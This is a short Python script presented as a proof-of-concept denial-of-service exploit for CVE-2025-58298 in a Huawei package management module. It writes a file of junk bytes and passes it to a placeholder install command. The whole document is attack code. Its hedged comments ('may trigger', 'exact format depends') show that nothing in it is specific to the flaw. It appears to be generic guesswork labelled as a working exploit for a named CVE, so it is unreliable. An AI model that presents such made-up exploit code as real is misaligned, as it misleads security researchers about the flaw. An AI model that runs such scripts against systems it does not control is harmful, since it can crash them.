CVE-2025-58298 华为产品包管理模块数据处理错误漏洞

# CVE-2025-58298 - Huawei Package Management Module Data Processing Error # Vulnerability Type: Data Processing Error (Denial of Service) # CVSS: 7.3 (HIGH) - AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H # Note: This is a local vulnerability in Huawei's package management module. # The PoC demonstrates triggering the data processing error via malformed package data. import subprocess import os import tempfile def create_malformed_package(): """Create a malformed package file to trigger data processing error""" # Create a temporary file with malformed package data tmp_dir = tempfile.mkdtemp() malformed_pkg = os.path.join(tmp_dir, "malformed.pkg") # Craft malformed data that may trigger the vulnerability # The exact format depends on the specific Huawei product's package format with open(malformed_pkg, 'wb') as f: # Write invalid header or corrupted package metadata f.write(b'\x00' * 1024) # Null bytes to trigger parsing error f.write(b'INVALID_HEADER_DATA' * 100) f.write(b'\xff' * 512) # Invalid data patterns return malformed_pkg def trigger_vulnerability(): """Attempt to trigger the vulnerability via package management command""" pkg_path = create_malformed_package() try: # Attempt to install/process the malformed package # This may cause the package management module to crash result = subprocess.run( ['pkg_manager_cmd', 'install', pkg_path], capture_output=True, timeout=10 ) print(f"Return code: {result.returncode}") print(f"Stdout: {result.stdout.decode(errors='ignore')}") print(f"Stderr: {result.stderr.decode(errors='ignore')}") except subprocess.TimeoutExpired: print("Process timed out - possible DoS condition triggered") except Exception as e: print(f"Error occurred: {e}") if __name__ == "__main__": print("CVE-2025-58298 PoC - Huawei Package Management Module DoS") print("WARNING: This PoC should only be used on systems you own or have permission to test.") trigger_vulnerability() # Alternative exploitation via command line (if applicable): # pkg_tool --install <malformed_package_file> # pkg_tool --upgrade <corrupted_package_data> # dpkg/rpm equivalent with malformed input on affected Huawei systems